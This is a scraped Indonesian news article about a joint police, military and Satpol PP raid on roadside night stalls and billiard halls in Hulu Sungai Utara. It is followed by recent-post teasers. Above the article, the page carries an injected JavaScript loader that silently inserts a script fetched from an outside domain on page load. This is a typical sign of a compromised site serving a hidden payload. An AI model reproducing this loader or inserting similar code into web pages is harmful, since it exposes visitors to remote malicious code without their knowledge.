(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Meresahkan Warga HSU, Warung Remang-remang dan Tempat Biliard Dirazia


AMUNTAI, Puluhan pengunjung warung remang-remang dan tempat biliard diperiksa razia gabungan petugas Satpol PP, Polres, Kodim 1001 Amt/Blg serta Dinas Perhubungan Kabupaten HSU dalam operasi cipta kondisi, Rabu (23/1) malam.

Operasi yang dilakukan untuk memberantas penyakit masyarakat ini digelar di beberapa tempat berbeda seperti tempat biliard, kawasan minim penerangan, dan warung remang-remang.

Hasilnya, satu orang diamankan petugas karena kedapatan menyimpan obat-obatan terlarang yang langsung diamankan untuk dilakukan pemeriksaan lebih lanjut. Meski tidak ada pengunjung yang kedapatan membawa senjata tajam, akan tetapi dari beberapa pengunjung kedapatan tidak memiliki kartu identitas diri (KTP).

Menurut Plt Kepala Satpol PP HSU Sugeng Riyadi mengungkapkan, operasi ini digelar dalam rangka cipta kondisi ketentraman dan ketertiban masyarakat di Kabupaten HSU tetap terjaga.

“Kami sebagai leading sektor bertanggung jawab menciptakan kondisi keamanan, ketentraman dan ketertiban di Hulu Sungai Utara,” katanya.



Razia dimaksudkan untuk menjaga Kabupaten HSU yang bebas dari penyakit sosial masyarakat seperti anak punk, gelandangan, warung remang-remang yang dapat mengurangi kenyamanan di kota Amuntai.

Sugeng mengakui, saat ini warung remang-remang yang beroperasi sangat meresahkan masyarakat dan berpotensi menimbulkan tindak kriminal, sehingga perlu penertiban.

“Kami sudah melaksanakan rapat koordinasi dari berbagai pihak, untuk menyikapi kondisi Kabupaten Hulu Sungai Utara yang makin hari makin marak muncul warung-warung seperti ini berdasarkan dari laporan kepala desa,” bebernya.

Satpol PP HSU sudah memberikan surat peringatan dan himbauan bagi semua warung remang-remangdilarang beroperasi atau berdagang di atas pukul 10 malam, dilarang menggunakan pengeras suara berlebihan, bagi pelayan warung dilarang menggunakan pakaian minim, dilarang menjual obat-obatan dan minuman keras.

“Pemilik warung yang masih melanggar, kami dari pemerintah daerah akan melakukan penutupan sepihak,” tegasnya. (dew)

Reporter : Dew
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

7 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

8 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

10 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

16 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

17 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

19 jam ago

This website uses cookies.